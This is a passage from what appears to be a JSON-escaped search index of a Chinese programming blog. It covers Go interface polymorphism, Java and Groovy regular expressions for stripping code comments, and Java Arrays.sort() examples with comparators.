class=\"string\"\u003e\u0026#34;super\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值实现接口,成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n2 notifier = ad\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n2.notify() \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值的指针实现接口, 成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n3 notifier = \u0026amp;ad\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n3.notify() \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// -------多态示例--------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 接口值多态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为 Admin 和 user 两个类型都实现了接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 而 sendNotification 函数接收一个 notifier 接口值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 然后调用接口值对应的 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 从而实现了接口值的多态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(n) \u003cspan class=\"comment\"\u003e// Send user a text\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(n3) \u003cspan class=\"comment\"\u003e// Send admin a message\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/"},{"title":"Java 匹配注释的正则表达式","time":"2022-11-22T11:30:53Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e参考\u003ca href=\"http://iregex.org/blog/uncomment-program-with-regex.html\"\u003ehttp://iregex.org/blog/uncomment-program-with-regex.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e通用注释有两种:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003e//\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003e/*......*/\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e通常情况下,行级注释可以这样匹配\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\/[^\\n]*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e块级别这样\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\*([^\\*^\\/]*|[\\*^\\\u003cspan class=\"comment\"\u003e/*]*|[^\\**\\/]*)*\\*\\/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或者还可以这样\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\\/\\*(\\s|.)*?\\*\\/\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e不过在特殊情况中,行级别会跟协议前缀冲突,所以还需要特殊处理\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(?\u0026lt;!http:)\\/\\/.*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e甚至于不限定于http协议\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(?\u0026lt;!:)\\/\\/.*\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终处理注释为:\u003c/p\u003e\u003cfigure class=\"highlight groovy\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*** 处理注释 groovy代码 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e* @param text \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e* @return \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e removeComment(text) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e text.replaceAll(\u003cspan class=\"string\"\u003e\u0026#34;(?\u0026lt;!:)\\\\/\\\\/.*|\\\\/\\\\*(\\\\s|.)*?\\\\*\\\\/\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e) \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20%E5%8C%B9%E9%85%8D%E6%B3%A8%E9%87%8A%E7%9A%84%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"},{"title":"Java Arrays.sort()详解","time":"2022-11-22T11:04:01Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一、介绍\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%E4%B8%80%E3%80%81%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"一、介绍\"\u003e\u003c/a\u003e一、介绍\u003c/h2\u003e\u003cp\u003eArrays.sort()是经过调优排序算法,性能能达到n*log(n)。Arrays.sort()重载了四类方法\u003c/p\u003e\u003cul\u003e\u003cli\u003esort(T[] a):对指定T型数组按数字升序排序。\u003c/li\u003e\u003cli\u003esort(T[] a,int formIndex, int toIndex):对指定T型数组的指定范围按数字升序排序。\u003c/li\u003e\u003cli\u003esort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c): 根据指定比较器产生的顺序对指定对象数组进行排序。\u003c/li\u003e\u003cli\u003esort(T[] a, int formIndex, int toIndex, Comparator\u0026lt;? supre T\u0026gt; c): 根据指定比较器产生的顺序对指定对象数组的指定对象数组进行排序。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"1、sort-T-a\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#1%E3%80%81sort-T-a\" class=\"headerlink\" title=\"1、sort(T[] a)\"\u003e\u003c/a\u003e1、sort(T[] a)\u003c/h3\u003e\u003cp\u003e对指定T型数组按数字升序排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果 \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// [1, 2, 3, 4, 5, 8] \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2、sort-T-a-int-formIndex-int-toIndex\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#2%E3%80%81sort-T-a-int-formIndex-int-toIndex\" class=\"headerlink\" title=\"2、sort(T[] a,int formIndex, int toIndex)\"\u003e\u003c/a\u003e2、sort(T[] a,int formIndex, int toIndex)\u003c/h3\u003e\u003cp\u003e对指定T型数组的指定范围按数字升序排序。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a={\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e,\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(a,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(a));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 结果\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// [2, 5, 1, 3, 4, 8]\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"3、sort-T-a-Comparator-lt-supre-T-gt-c\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#3%E3%80%81sort-T-a-Comparator-lt-supre-T-gt-c\" class=\"headerlink\" title=\"3、sort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c)\"\u003e\u003c/a\u003e3、sort(T[] a, Comparator\u0026lt;? supre T\u0026gt; c)\u003c/h3\u003e\u003cp\u003e根据指定比较器产生的顺序对指定对象数组进行排序。\u003c/p\u003e\u003ch4 id=\"(1)按第一维元素比较二维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/#%EF%BC%881%EF%BC%89%E6%8C%89%E7%AC%AC%E4%B8%80%E7%BB%B4%E5%85%83%E7%B4%A0%E6%AF%94%E8%BE%83%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"(1)按第一维元素比较二维数组\"\u003e\u003c/a\u003e(1)按第一维元素比较二维数组\u003c/h4\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Arrays;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e java.util.Comparator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eArraysSort\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e[][] nums=\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eint\u003c/span\u003e[][]{{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e},{\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e},{\u003cspan class=\"number\"\u003e4\u003c/span\u003e,\u003cspan class=\"number\"\u003e5\u003c/span\u003e},{\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"number\"\u003e7\u003c/span\u003e}};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//方法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Arrays.sort(nums,\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eComparator\u003c/span\u003e\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e[]\u0026gt;(){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e@Override\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] a,\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] b)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]==b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]-b[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 方法二,使用匿名表达式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// (a,b)-\u0026gt;a[1]-b[1]会自动转变成上面的形式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/*Arrays.sort(nums,(a,b)-\u0026gt;a[1]-b[1]);*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e[] num : nums) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(Arrays.toString(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e 